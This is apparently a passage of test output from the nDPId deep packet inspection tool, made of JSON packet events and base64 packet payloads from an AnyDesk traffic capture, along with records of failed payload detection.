sGDqSqspoeX5iJXAY8HTW67u3QweHHE409ELI9xD8yEUC7gsKuC4En4nnpro9IIY6G2XllI5li4RgBBTB2ez6kTGZ6Nu1xdUqhOnoax3XvpKeMFTEIn+Zk\/elyyUY\/Nh\/x+bJG\/nTM+w15+f6BLSF7GZV2hO5xd\/4tc7u1toL+HqkhmQ2D1d2+NDmtfWZE3amQP05W+eS0zpHvwiAL+TBsa7o73td8coXwpWS2NsIr9pkLW9c3Fp7a8kLr8v1F0\/uMrbr7xqLSwo2sAQn7FOZ0iWParSj+F\/\/4pJIO9yFZ+9T4XejMR+LfyL1dwk0Z2Iyjiz6Dc2yhasoBgMw+8bnJN0LMN0oAQuzkuTnli1M0Z\/nEYq4e3j8+Obd2bnQjol8AOne2VuNq3Sw4lyOGPEyCQ9SqgemtwLZP9OOHIXRyz3I+CdENEG\/09\/lGPtuGwHBM1QqLmO1fZ8M8qKL1dQ1qNTxKSLoC\/iZ\/A5TrpoZmmlYn\/P2NukWb2c\/W5a1o7OFHlpTD1nA7dQGrehFFBEK9jzuEjmDoPulmDguU\/OGl34uE01e45lN0Zyz6IA0MEpDn+WTOBOFGRIVopO0CPNL+vUdqjKbTRcJTJ0CqIXQo4WRQkB5u7dlZnRxALeg04GECE1Glh+guAMg0iGKvplNmVi0BljK2smEbJ4qeF3wfG\/2r+IQdWwqhdH6tOPXaucJIdRZizNsqLCj6AEXXri8TnDLJh70L5u\/AiJ8hjQSnRKWlBEmsGz5qWaEfCsoTatRz81PJ3zWFUK7+mSP6rCUwdXhrOo+8L53cPpLW0z1ke2wodSs\/9zurzbdJVddXRe1\/TW+8wmEg9RBTpiT97IIvHhf8cG+YcxWvzZ9xEoaMOYqaAZ1\/qSQ0ED\/Flo59a2erUkxWzYJG\/jMPM\/65kGNm85idTmx105EckYeTopxOExkH4zDu0d5+Ob4RfN2VsVn52RyHyETTUEGiSS2FAvuQs9mMgIR0B01eJhdeeCcLi2k1Bhe8NoXDOAm0d5p1JavcrRv7h8svFwIDp1pj8\/rFc9p6wCgtZPygDmu7KzNWd5EEbJ8naEpNe8K1PND9v9lCYzg3ZnpmKSN9zyt+Tr65\/pWR0Ohve2PlgWsNNqRcDBaykTFhrY4ooKqRb4Jc79TrBlNS1zeJkz7tGJnj\/3PZhTh2kdxLibqodbFYrm3RcmN3pYc3O7RQtnjo+ILYIP\/lI5HuQwHKbcPsfsw3KuwncekrcoUbkrUP5Q3YMPnLrEj9\/GTvGr7IgNqkzyE+Y3oEfRe6kIVjamkZZx\/a\/3HD9KshfMG5fhgyz6EZKSEOmnlbZ9QODqKLyL\/kBjArWTHYorem5uqizr6nT3tUzaeA3m3x95lUlQJJ8PZIUk5jJbT90YSYwah6M5+uWheRlhNmvg5DqDV6hZO00ElHqS2oHbbH0rY3Qf38aKeupw1LFooNzq1XLAssdQRtwY97z4CQO+fgmOkxoDlSuAgNCZmb1db\/qUhaJ5chDGfh6hfqqfwBMlrHD2YhDzbgz6WGvbkp13jsgNW1RnY3pR3XR4lbCYu5WjLvkJpbesASUphEMyjwfLkbhjdnDrb50a+sIEJQQL+RqRG3pHi8LialNllY4n58iGwxKpvNJmWeq5JuZBxlqZwTdzWF5nr\/UrlzrvmeP+Aoi9CBmcj4paIjGn8YyxNw49YVLRQGyRCisUFb+kQrVS7QrIg+egswXhJ3P4LCjLM86Vncfqv0rutmBzwhuPook5FpXc1Ec0Xn7\/\/wQkTJyY36+Xv\/qSD7VjfHEdObWSUhq2ADYssPDyaQZBcmMn4Eh9uQXE2e7\/4in3XlY11flqajj87B2bm+87s9ihmrJ5eENYoZpeMyTCM38dK4XZETdsjlCvQurkuld7Ttzefvz82fuvzhxBCO7l8necduOetSbF5ouKk3s91mrdZEBsmSsuBxHOI\/lk3MNiyVYret4N4ootjXtOHgSveoE0eh9F1G1Y44SwQBu2qi1zAkv4+YnPVDDcCSTi8Z471V4YGSW1xK0MOIsW15qaIqo25QwVAZ0WVDb1plaDQRMgbTkKTXhUyKBFzaJHrcOeUh3qt1CbvE333aK5kyKZ2cqeCVkEYctnw+utuNo4gIcjUFm\/JBkWYJj2DZYkH1C2j5Cox3rU+wiWpiTXldyx6YvGpHtUTXD421Gd\/CmEoKzxPFJnWwg2\/Wy5Gey6N9ZAEpbiQr6uPdC58Kw0tCr3Lq8l07VW+DjUa6mG3fTejvbIhMVr+fnFGiXuVroh\/KiP0kiZUlOHnjl2z50Ejk67kCtPrSBhBGI1HNbc9hsJYOj9kvDQjgkiIVwrNwnKFHTuHmcZsjkMMmqQaYXJSaNfuT4aWbAogf4abAWuvO\/zuGRK3Q85rLWmd5AJ0eSIIOnk7viHiqp6b\/wKC9KFqvl5qNXI8wdAw1PAm5B6DqD7NRY5hbyUTOI\/DkA5PCYjCeK5++7tMwC\/aG0pPNM57kVrn5eUqrCo2zBECG1H5GfozfHQoJcGkrUrJU\/B91nA0LFXzc5PTFBaqFBQND5z3Y7qmKnFb2NNA7LtgQUyB4z8tU\/tcHmhxaGCMXJZN6eAq0FWqlsWZO2P7u\/5rMs7eqT7VQEIOn1hCfxg4IYPDZhCSrlOxFjzD43b2oGtfAYUP1GMHb42lFrfAifFWDV3SK+KZU2GvPHK2gIzPQA8l6hZ\/0u87e0fUVzJPR8W\/TNlIMaEl56iWe\/0JbMHF15lmoADhD4m8DXYDzJzvJUWO7AA2ydfCJacNN8T030uIUlQYZbxVKRHEqHcIbqHzf6ieC80\/q68rf4mOTBvcvV6eT76u7BHLk92yBYPnb+fIUGmG56EJIMRWBQXtUaRx8s0CM4t0m0xe0\/8pal3WZHy6ARK9GRYYQu0cg3SODb48T56moJEDLHiJkhdjWP2MPM3MYIhkoeTYwS1DFv2B35ScWVLooThqF\/MsgmcPvyLQ+NwnRkXpRBbF7f7FCWSjCeEs9rlytTI90YkS9v7tPJ7KJ\/25usfDAThVDDQKoNR9NfvCjkX+VeaMCKmKUggSXjOX3nanUrZUnrplb7dws\/iXEw0EVh+hoNd7f7vBTksMAPMkQ4XrSJeABTiHeUgPxrlwg9ndA4EvCxiQq19IfGSFcDHT3F\/FQLPO7DuV+Hs56\/Xy2JbWEO3tK28jOhjyY1ZEaFfdKu4IU\/JjLVCZfGp8RXJjqZwGCB667wBWQrULOhhxtY+GWaSN6ivkJn28qcTKxM1DAvbcnykhjhQA485JfP3NRSdrkC0bPvHBUifHSb3AQi9otoH+8mXhclcYqxDtPKxkIBIEpPr5PDasyNNkqwj4x4GaBNV0dZxT6eC6VYSWEhfmUlYMnM6RoLrOw6+uEGR5gEJfckiyxm8nCd2GRp+tkWjdKWaJSXIFl2flu820nzR3ZR88rcYsm+DEXKTPvNAKyjWwcJ9HnRXKF6ObRlOTpqPVg83Rte5mbtZ04\/+dJK2aN+yjuVRD7u5Ah6QsTkHa1PTMahyrj8ErYHRwaIa9Va2JYctjELAlx8w+0OrCJ0dSFEGYmMCEjn5VbIAygdEPcMLV8tdgCKnfT7VBumEii3I2SzhvzroUrIl++P93KM2W8X9jU2OxjpgGOyM3HYwp2mkM7WATt2vGImr1FLjNAsvWpPTtAXYp7s0cVqeZJvkL7eWE\/LkvKkV\/N+++HHu8D9kwvIVFBs3CTGvutgk\/tlby99TKRLsJ0YDGMw2LGKDdh9CARb1bEYsjTO3gBthm7wfH\/spO7dMplpbtbZAKPHdMij5Aa+NNUSJjQuYHGd+C122lTayn\/FGqc+NCUXuaGW7OOaF5Yj2G3LMJ7iwQx0N22Cn+Ueak5sn\/RIe6Morbl+Sx2Nc5n8Z9wTv5535reRgqKxjQcvOIxA9ii9zJEU5e4uQTivnx2Zq+QAfofhR8yFZans9DhLXbf29UQfgFHknLIOtkSb\/ZX+4WQsblAKDJuTWIPhW8Psm11BdgnFI5G6b05lgSZG\/fEBoyqAFaoimJAmFOihrTkvWd60CoEVlXvpJSWv0bkEpsT1qCG0CJCgtRIWZwrxfkp+wApdA\/WuJc6ZKpZz3oot5UE3i9ltfRrhN0i8U6bSk\/baHJBTTj+Ntha1ogZbNZDtspjNI8VbLXAn+nqLo1J1qEDLbIOKJ9yN8pi4bdVZFe1pLzcU3FTbiHa4hNitRAAYujAnrWzTVrnpIZB4bvHb4dq7Xo5288GdEK4lPPYj8kFGm9209Gv8E6sTQIbddt1pZhGxVIkVjOFsK2MTmWl5jGggxBWi9G01aISiJV\/ZQ6rs1IPU1M1CIS35YycwyGB7pG9NX\/PDzICABPnV4ky2A9yzcfcWbOXqoE3oep4EKdDwpX6y1tDPmjzXsv8Yvv6\/WvlPkgKGrw5bH5QTuu8r2zTCzZIxL2npT\/yJLOT9+II5H2cJa2mis7j+lbdu9jHx9cBhEW7d+OTgLlW3Uk99udCoG5sJt4+xzGATymZ8bdEZ3p1wFS5RRrkRdiJ+xTpEMYOucO+L+WelACywvO7vqvj2s4wvgEsve9P0gNNeXDyWhuPoZlPKHHlKy\/9q0DSyxA68qCfYHoGX9eg6FlbH9+HRMlhbsMK3pG5vQ9YEXUohBDMHa7M+YNOCTwBU93srDW+OYtXVNH\/oUlBKmsXK\/AKJUK++r3bXV2UtzxYC4HyTC0AlJXVSYDUyy7SCl78dLr3C8nkDHU9VzXzze0mJBM0NsGp7haD5eEBvglF\/rsqnQ01QP8SgJFFWnEe6yz\/Yp5SttXVgy7Oit4Ln8JO5X32wDUUF+2yvbVldulEJXFGavXZ6\/B+3dHl80Ry9\/VKRzRIQUKblkt0TybSjmm619QDjJq1ho1m8sN+nr1Gwxps3eEDulNjm8s2aRH6X9xFmZ3HpNwUEQwXk0iJboozzNpyHSpcxpKeHU9r1fTVor\/doiIn\/NxvQr0ZGnrDSACE4pbUPh3CeYhzq9VoR85v2qoJCjp3gEkgQQQCLaZWsDKRg5bBt3QKo848WZsRRdtIEPs5LUa1LXGplxmPDhyX+QkfwU8qNvXTnWZzXRI75RKONH0iTT6umwPsUGw4eromELHqfTq9QeCe5IxqiPTO64a8EeyBEUfA18KaHGnY+vcWisAqug\/GLaoHzyXfim6m1\/x21ypTVuPJICvgeuKc8cBbKuk2yl4xCLi2zHhIl3rEGgwXAeR6RrqktVZDzs7eRLA0ljO4hSQ8aChp0uVlnz1NziDBA4zSYnmfRWGFcDBf7DGGypkweWChmYnMSqxByXn5s2K77lhdgQ0tSI9HqJvaiO53M3IBoBpXoorz\/McTWmt5ErBT8f37GuqEXUxCqdB\/DsXPdlVP1UkH\/3KHGYj5ibb2OvoHK3JM2guyGiiAX7LJcnXSJzKTAfAoXKQezDPOW8PFT8m5irvJKffyoQxOqxs7iuF8d3Ks0nQFU8J3lHml0Vfh4VVP\/k3c0YtL\/RZB++AoVjGUDbOd0z2PDQupznJ37lti252c1iEDJxqJIfts4Gx9qrtIjI645VRq6+4gh891588vwmBGCM0e1tPPS1K+V1dy6HT\/l3LU+DoMGFOnO77dANaLmIHq+0S6AKQkdpgM5o9md0XL+d0HEYTqusNSR+dmMoVEXv3vUdhmSUKQ4Ew4nr\/CiweMtSco766uoiDyFHKbv3tSf1E5zvtLWPP6zc+Y2Tk7hNHNvNtlfTa\/K9bjHb5lw1AFQtBbJG0bTsDg0zX\/GH+\/AuqyDRAPcONe3DqeNzVTyT9LR6U3KNe10M98dMif8CTy+kOIoKIBS4ggyDmmNmJ\/Ro2oBEGVjixHnjHN\/Bdxju+YsNu4Bmz\/R6RD+Tf1TndnfnB15pcIVDLYQGoUW3CRwW+X6HT2BdXcfs\/cCXJoRMea+DBYKF\/iA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":169,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07815{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":173,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":736582,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAduhAAIAGAADAqAG7wKgBstOUG56PGs\/fWcP+aVAYA\/6ExAAAFwMDFXpZ4hNO+msUxp9jz4qVpwgN9TTr1wBWrZzzI4rZ0nSUq6FoDGHxqw3T4oZTgfWCuirrwOwauMIqjTznu3ivSI\/YwJ2XIIr6juaAfZZ0Ajs9c19lWU\/q0+glSZVgBwbUU\/qjQT5lP6r\/GdIkKvZdM2tKA\/5Il+UWH\/Spuw2Hve1RCXAQRrbfS0tH+\/tdHWhns0n\/JxjaNTfboRavMcYDVdYKfgKwnSWQV\/XeV6KtarCeO8ix4PEY0NtYZrDn5ZBzoWCFa4zZJZTf\/tO7uaLv8cYnYrxePLuTKlT2yRvrLjoBUpOJAfg3apxWKnDU1xZc0Q5b4nPKSIdNNnR\/kuQKQmJGQCh1LJZl2F8lSkE55+zuU01ZbPtWl2TSrwqwXyaNGF55\/85J0dCg3Bj+Hj+nYYsVP0T8KRL6BSJ5YYNohEm06CZAjPRVvagQK9TFK9erQXdPJ0qPjJ9F2\/HkVwkW2gwbdSafAqLuKaYkI1\/A2eqeXOOBUsUm2oOHgrECJZCOlLn+BXsyFODArULn3t5i468rHwuQtZcdy6FiizrdQXfG4qphCtHL\/1rUcN6E1KVjE8WoOceWQlWsYYqFr7aZvjTZNFZdJ+kIwZYOCTADTxJXF8seJx7MeKDXmKqNOjOt0qC29QdyxZVAHpmTNuq0efsa72aLwZybJnXtKhHbC\/y1zf+0vxMAMEptvmcBden0hX2oKA8QnkMncbacvBdCUKFRy1Nj0SZOCiFHNGQGYlXX1F9egtQJKuxoXz0DrzSdjpeqEHoA6crhMUFLJ097IHQMByojctdZFlw\/WpMj2v9Pl1fQm3AYFUrL6\/ujKgGiJQE\/\/e379dPaayVTO6EzTcjs9DapckOK6aDU5LeImFOCewKUJvXA5UjnSnP5IIZbPGGVmL2IS3SO1yDl+5jib9bhXYkgl42c7zIPBuRxDWLxqbM9EFW03WTzY0ddTT1gnybF0Zw8dDlvCPxtUt8V4\/DTzVu\/KmI5oT8bdXtclWM21pIfGcxlpGMLdY57Vl0\/WhpPvPwSGZZqRRT1ZBoiKfI1HP9JyoJr8vl0zRCIiEBVikf1YvTpGVfbpGNxAMYcHz3SLkl0HbO7Ttfc2JrgfXv+stt5l2nBLHrqgFv6rAIEOrwljLJ+n+8Kuc+s2gcoPzGlCMQ14EgBtOaY60kuBpC2gjZcBZD7CgWvBEJKXBkFAZjCMxCR7RYdnlLCeY8riS2jzPH9c1l9k2AJhJPm4r25hj2\/lF41S1AI62fNDP7JBej\/h4CvYtBhkgLq5itWZEpTgxBXcwHu7uA8f5aqLAdCycGiqJzFAzqTyeS3h\/0BH8vTyPH6YrSKfgiDbSfU0f8F54sljxaZHXOkUvC2k6NE4iROxg0\/GDUxtILfZJ2FXFCDU9AVtjdMAu7RCqksuMZbS8LRU4\/JNyO6w4VD02VM7lWe2i2VPQnEZQ2\/Iravx\/7Cicwar1exhDvTRH9e0QuH5yCJvtpnOGqbcs1R8Xwy6T+tBrSMM+E0X6ZTJtkYdduuQaNmrXEeQS5RNtvKNclTx8JTEeqdW\/5sGVEHr4Litvmj16Gthh2rv0sfwIijubE\/hn04sF2GKm+qbSPgcGUBeTsD9qB0baoHQvXx2L1F3P4aCR04fvEtoldhviH6syE+M1BD84+GJ4TAyWfOtdNz6MXRD3f20YYCbRRoZWYMjUae+9AZuTkxqsfr4o61XoF+wvr4hiGgIUd\/t2c9xM7BvWzpqWtitVxvogxrI04EYgCelCieP1V46BfH\/1KBj0cZ2wCayYziWr8exaYhHJQVjlDQoJJDmNE2ISlTg+np+BH3NsAxcGIfBCj2K8KCqeBPWUmkwtirr0DyvFZ5NZFpTgHnNsVqcSNdhXBmHpDc161wo4zn3QWqhNT8WMEh7Dm5wH4uBPc7j6+\/cuTvk40O2vAF56Ec33hIsj4E385E1FO6vXzrVs8ED0yY24EmUJ+oAj6JKoAx9jD9lXxXSjxyPr3O2nFJaKfpJvZtRQ0nEoCbQ5NfjRXK2KIyPoSq\/swVdqWF1Bxkzn6G3WETwvBByxrksBGzVGbeJT8j5Fcb7DQ5KnHCpZmq74qR0v6EQtnVIsa2gytLXWGmHKQWpE\/\/m77\/9QZdQx3Vx1rpOC+tg3hkiRnM69NaxVikDw5+1qhVYH27YFklZ5g51mQ9i26FnyQd5TwQNvyQCOE5q5zULgUUXWiWAGjsNkojlAecIr7RSc12Z1tPZP7SBhRscLsLJ+rxYr1cWaTYmjdVxvn3hBPwF2UM5EDSviVtaTRoy4pzvnThkFu3DSxoO7bbdIDnaqvv6o5HSVABgujyTQJd20lqwKSyTYUXsPiuO9MGgFIuJwyIE4sPtv+ZOdJM5SNFuJfI3UhtzkYEY3MH2EoOPBn1wl4feXsFvFD2Igq9+61VXME8bX4KFOpBzblhbgZT8ZzBm0C+oRTAtys7xnhVNfjJZ0z8yOiWW1J6TjqYkBmyarKaBfQ5kcQW3Zn1s2w6Fs4yd+S9S1bYg+Vi4RFRBTP2WGpxL7H1I3Nql7RLhf1vuNOvSpBva4BsWDIcvgNOKPadB9tZZfQoFl12FkWq4ICPY22WmXtJ\/SVXJep3XjCHs12gc7HNGtzvsq\/JGrw9ecNpZ2PLGc89ZBvJ\/7wVlI+Ea2DeMTrnQVNTtN+WRe3bgMtAMkVd4CFWRjHZxpRwo5svGc9Wrnk0QwjMOC9DXDD1A\/f7gGTRztBxhoWzQP6\/ztOKVIbTWQvUhNALBgMgVktcAzROX\/h75QaYj0vq+8scl4y7lTSaUFn\/S9JjWTz2SvDTiuNRpsfn3lpdKdb5MN39Fh8DZ9jNLkDg7+20myutiwowdNhVp8X6C3poJNKFPEwIeHOZItVkkaZAJj8tGRjtZYudXDUfLDG5ZP0o8vEJcqQTTTiHJbz8WCXx28YgLaEWqc5q0steTlJn0R48sDJ0F6HhKMcRiDkW6KArompp0+3Q5mSknkyUC\/b4QtVAO0fiNCXeG3Vdbj5e9LXo7FjQQCTGYulSZj4uNqLlym5ZQIQHVN9e7PAftI9JctumM6K89pwLl8GkrN2TC7v0CXLw1V7gEExGrAiZTyXCLmIo\/jkiwEKIYPemiOZbw8HrpzzMJ7YGO6t5FDoumf\/z+fb3r1qkY1hlu39Trt2FRCJVdSiko17McK7oirdtY2TjymX1VnwCnFc+OuEWvTQiLwy0oJ064WVeXGfUsqw19BndRBGqOMwom36C8GD4H1mwVVhCSqi6xhk2JzWixvK40kfDl\/qYcmNbkrwzqlltJdSKpGPNzNNSVEvbxE0UnWXpBXyWzmUN6FS5k7ZZiHTi7CW5impuUtWhj1i+5lsNGwmApmK1YF3CM43d3aMlVVu1kCsboKscUBAUruHU4\/IUkQuXqDhb4a9qA8mSPC6wq2cvue4CS7eO7JDsH\/IpEykFjA7x97JkEoqYsKa9TK4j0TOtr0IFYq5SYESB8JSi9BZ+l2EqsXw1M2bfo2mKeybJVP2ffvEUC2E5zYOJMUHMFqW83Bk9AjiQXHGXE9qjXabqXmK5kNReae12bLLvp2te5s8wzApKRIj65HzSHisK2uaU8TDXRvpNrFWAbMNXujvKyrwjOqn+eRjHNF7uqpf6+DooFwNUpIVvRXE11WZLrDkflvhXBJV1QNVF7HZ8fvzh28F65dX4FQZmUa63Jyh17vaYja6sIt1YbqHkBnzL6clWDcYY7p1lejO23vnq+J52t62hALckT+XyEM2iPgFO17u2q2TxNd9CfGlBO9tU02Fw7gr9bxSjkCgHQuaGwmkC4fPhN9y1vzhd0mKit0EgRm49HtMwjlw79vxJqMukFBTL2IfKhyZITEcZl+vfee9nJiUJjwVOAv1Zn+YXWC3erwQDdnj3s7HH\/ZDI1jOS3HFDnJxwQaXslTQFnXBb6vauNgM2tK2QBtzd6s\/cge089KMymASmYhOKuqFZBp9IeGDEa8z2Bnm8CJraZprrQJ7jXPL4\/4WzoeBrar10dx3a0h8viAfwcSWQd+DMyckeZ2dHOB8ZMDmTQZxkogJh8oNJ2kYwPkztRpU51MRaOBjwy76HA5O8wmCXUQLAasNP\/R\/0DJJrMq6Vy76TRAhlIrjJq3HEOSTGTMYEz1ufGCZ7uRMJz\/nZgUUnuHcbBja9ATNjtv759jkGh8jfGfGVS\/2b9kC1sSvCiTRXT3wF6jHWByaK+725t7gh09pYWLY2GKENhxKaPtxs0WhhdgO225yHx4IzIEwd5BuXrmXBBhOaYGFrEZeoejBlRoYOc7s4uohT3T71j4UbKsid5UgR8ywCmL00ntxRpp9XGl7vl1Haf+VSYRxC2QZekzbyPiLPx8uoT32NFGyv9eTe9+y0PwCOOv3B5xb4u6p9hdnRSwWKHmEIyFsHw8wIl87NgqYgXTNhfJ7wgsXy+G2ReqHYvLaIYMb3FZeS401sWduC9bbnJ6+3jJjKOo7\/nQ6Kt64OdrdwIBeDcVyRdxUDqPZRwKL\/i+Qzs\/uZi9FeO43CERI5QlIXMymp286fijDSBTYmIJSCh4AsrueC+Pj8\/avJbBlt\/b\/JXu3\/nd6fLv4dsOhEAP+o6\/IFD85JoHPAMG7HRj5sF52\/GXCxE2mFlX0LyjRBPRb3twgHZ6XoztMQdU7nMbeqfweDMRJINbo4sswnmYxrFS3nJfk2F4dW0WFXHKwqpePbDfpnQ7TMjZTQNldSl6T2+xxBctmReL\/0tHvj9SJNkrAnTs3rT53O+Hcr5dqF\/XKyml6XyA6bw2UEX7UxHcqB03VgtO8r0jwWuzg84T8GIDf2VVnu9WIR3cfSPQQ3IjKw8lPJ5ykOYBKL3mS\/tK5GqxuZprUk64rUIRTD2Vktj8bYmDi0OIC4ewAWIaM7n7147TEZci5t1e6CinP3e6AXCMfl31vye8WwBmy1gEe9hc4mArNw4wLyrdWWnUbJkiUjWip91wVe8azlm+uu3kw2VR3FNeD3fB+rhDF6sxN+RdIY1xPkNvvGtB2sfU\/5a+fDQbUTt2+Hzq+U9HseawCzdJDStd+vRlq5HRlVuAPORsJWPvW6Zy2CA7ZgYAPP63G6O+dHsIIzXXyZN2zAAVsuO8Xi3BTDVGQRX+q\/OVbD7kivRo7lmCaNP2mTed\/fWHXhaDfSQ9VgqOZYikILRI7rDrlyDgMRQf3u3dgNEf2HXOthMVmz4suYE+z7RfBtS1lOYqp4eXq5KaLPvjYZ1\/r9UXHrcpEJ52JOxzQMejDeL4lJniJr7ImC8tNy6szHBCYvKX9JYmtlU+BrhruPpvsHG81VCFD+fsRRNgOlEzvVPaCg7bcAqPCUqwn8T3JDjdzzu8K1cIu\/Rt7JEPO1qQBw3u6JZ8pQjSqET9K2EU2uKkG2swXN0d24X6BGSaBwHY76qiqIHO+TJ4A7PxYIAS0mc+ZrqBv3sH7xPBYaEoD\/CIa6xUky5nma6UaKw7mNEniGzuAWGLunEbVSMFkR+DgYSnzshKS1y6jzJpDEQgokQt\/mupGVfOrDR3CXRzy54w+1PDCFyBBNKe9oJ5LvL8ouYE1OVvXeXXHSwJoGNuexqSunCLtYbK2n+pvH55SzaWt9WDEmkSNlt7X4CaqK8kDIOqm\/ChjYCA0LLy\/OCG2yWnLO91ohfOliYWyXDJWU0TvvqNTuU+AW1mLxMYyjREP4dL1Ok1B2mqUIFAPLJ6xOlCJg2PyWOBtN1YA0feum259Lb70i3zmI3XoM6AZiVA6R1BByVZ6RrYh8SM6\/dqJX0ypQ\/DOfqBUe15yMKzYfETn+kDEg22wPweYlev5mSona9cVvfdhd0VvgrL76ZuBxqSYPJG+qr+qXmYXmh8KQoLe8iB5zZYDn7abGcsHikPei5nmZTPy9GQx6TRiDuqJ+MyeMU3oSlT7O0uTlg9lKurMjgMKEa+XDAOlufSkffLksQqWCIrH3nDTXemDO88K6xpWJ13MUIAnH1Ir6noajoRbpK2A83ii7MiUO382+hmu25PIkqXaSwUJy5Gptu8vCY5vo9j1Wrc6i6gkej4OArDTAmSSKcullRdMWbEG1zKOOTztQSVuObwi1469LYP8CkBGhbAtygYcbzOeBqiGWgFm1C6bs8mwSvC+F2I5ikUScDfVZojjwIvi1yTB0tM6sUzqRPixvXsRBg\/rPO1m+L\/A28hX7cWWbP6pYlkJqC1mkY0Fqa8QNOsqvuNlmSV5WQh0T21wx5D470EhltQTcjXs0e1wfXua5NDptG9CtXWpKx8R9xmEUpR47kJj185ySn3AtSgN1r6lvaumG+pAUsvPIVmv\/jN5R4SyN50IXZ7VzwJyk6s7XRa6x5AwJQO1T\/lZVDiG+wbjb19Sfz9BM0ejzmTZbLBlOcyrTzXxSjpg3NrdYg\/JY42ttGq6ojHwOj57Y1qMIlweKcIyn0kI0v8iW13pEA0cEh31ljATRS4BthFrwGmH4LpeQkN1tN65GE1HikiSaAjTkNJmpGou3Lhm\/R23VS9l2dVRXKwTJt1JeaA5bReXGbCYGyUww7pKXfA7quUV8ZQ0qzOqG3mLZlnH9Bw93+WFz5TL6EkY+engSZOsq9MuIfYiFbgF5gwur0GDegwj04kw7+V0mZukE27N\/VZ4L7dGrbIKQTZt3GnWydIX+3tXEy0wdcyJqeKz2nNo6BWW6dp97kSQKHyPWuOQD6orlfGwkPGUsyPpwd0RZaaMJ8fGteZU48CicWFnVII3G5gP3rLC9r0DNm4IAJOymy\/5aj15TGstsmbL8\/WD5FPcOlV4s5O7TT7IJTRKXuOenBH4l4Rm8KJAGVyEsZkvrwsdFW3GPXsJQ+UNSaIfLBKAtMTXhDxHWRVLEnXzeZUOKM0MUlt4H4y6buS09ecNuSsBN19xMapanUZvYCYiBDE\/1fRCN0Lp8bIbUaKrAQPxWHyf9wI6YvVqkgux+DrAuM7R6c5HtY1BfzCEUNnZu+ZGRtVYOAi2Cx+tIHTUrAhdzRbL\/jhIGHBIaiv7jM8DxSVbWqZv+3XXAwRmkTnC5SYguGRLyP9Y7AbKwWyR2Wx7l6M4qrADYWryyU77WKbOvSyUlz9TIH8dyFxbwQgJTqFBvtbWpxjrOruU08IHhLUl+2SwnZmowtdg3VDiEggpZQSUxjZCXxdKLSBTNK\/okWUOoPPJvGfJY7TyKxMtrYQwQ\/GJpjn5eeTtkvXLyVJxgK1efypREx8yHDLVa+ER8dMD+L5X+NACUnpiXk6rlVYMC3yrlOckJl\/yyA1lYdIRIu\/SfAngonTwTPKrdMDiJu+YQ3QGnJmO7hjnApkCAnrsoxJwD+TJXnMC4sIEOaYRtQw+Hsw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":173,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +06900{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":176,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":737719,"pkt_caplen":4859,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4859,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAduxAAIAGAADAqAG7wKgBstOUG56PGuVeWcP+aVAYA\/6ExAAAFwMDEsBZ4hNO+msUx3iTrXWqcYRF8wEYqSmOOGUkvG+6FqQRs7cxYz1mYGSR6yGrpu92IbaMivi9dSvb+pdT61V1Kf2J06PSw5mX9EP9eEWtjD6QsyzCz3Tc2i298JYS2fZ9QFp5LPIHTCrW9bA\/xcS2q0mBFKUz8SlrdLWAvDSa6z44VjWeb+xFYUyaX+9EB+u754OQhMWEQhi9+BkEiKGDyUwSQDw8kstEaWXYPkdZfAytHW6Q12X8fL1iK8o5OFC3ammNDIrVTmEhJygLrXcai9Cek1RThJF4rRoqiwK0OTwweI2\/nghm34RNuagWQRQbWy1G6dxq3AfNQ6\/7CU6BVpFrbIEN0fIz\/+Y\/iFsbkzlTBQpV0LcGVXxiV\/3XfVTAuQiJd0oWlQ7B0UHMsvxvvcsbJ1\/7n6ywhds4EPPxmc2ESHY22qloieEtpWdLIpqkwfx1v2+M2fsj7uiyPzs0Ot6UqjU+N6IoMf7305ylULulbVrD8dfEREGh9M1GZcamM98BiZowZSG84KUnMI+Ysg8pK0l7THwxn7Wwxra4UoI80Cnd1ePL03RIZCI2HUVUT5VTKugE4JG8T6LOYUglgfc2g36h+GGRhfb9NirCnhKdtRHA+F6PPI\/M6zMIjsnDUg0fXHbk21X7rRsV7hj\/G5hbLQ3jt2GQbuvEgozT6Cv6Cl8+aLzD1QUytx4SlWkcG5a\/\/Ly9yeEByeBzvW5oWsUeGBVYFV\/1W8dN+0hTAfs+yy3Bu93EsAiWCdIZEJvYgPU2VVvA3SJen+lo\/acoPQDth1oN2Sox3UknjeYnSI9g2U\/T29qXAA6DzTWE9Oi1+kic69wPAE7Lzx2jo\/ufXZFKasMaAAmfM+pjjnuQzRKuOs0ogXhh5cgOZ8Ea6BJpRIOlvmN5V8foLADoG6qPOL0W8+Ko77RfYuKOcrxP1xrMNMVSEQGlcJXPOJH3UUGFlZdEnp1GyBE9w8QZyBYJdKf7aEcWLUtYzyvec4ajWACLS\/KoIgZZVVg8RnZuMo54xlP7gUZoPq8QLDwrWaz4L9lbDAgF\/yuZYT4lhOSe2sDY6QqH2u7\/W5U68oOBqghFzZkf2\/9Go1wZm+MTU5LLwPrbsoYKb4f9OTApFHWvHQv\/FKCu0GAQSPwyeEZtC\/uIqWZ0oOfVruyEHFhBX1CYzJaL1TsuoKw2mVSIT5wdDdmKabgjLC1z+vcP8qmrhMzMXQFZoyACbtg0kKc3IqEFqydLdQRerOf5RXssDHEfF4tnTGzjeF71ewbJHPfag4XPC7OIfDR+biJ37hHN1auF\/mV4XFxRjZ9oTEuwrjJ\/fF\/zHe9w2vN\/AwmY+ke6lqkbGSFlq\/DS3kLkCkBiIvj0ZeJlWlQh46P3o6L2onILEh6NN9zH6RR9tEpLP0s2oYpLZ1m6F3BN1IEURloLBQ2qcAhL1MxJ9YGzjxuzTEETQQLsXyaf44HguPMfMn2kT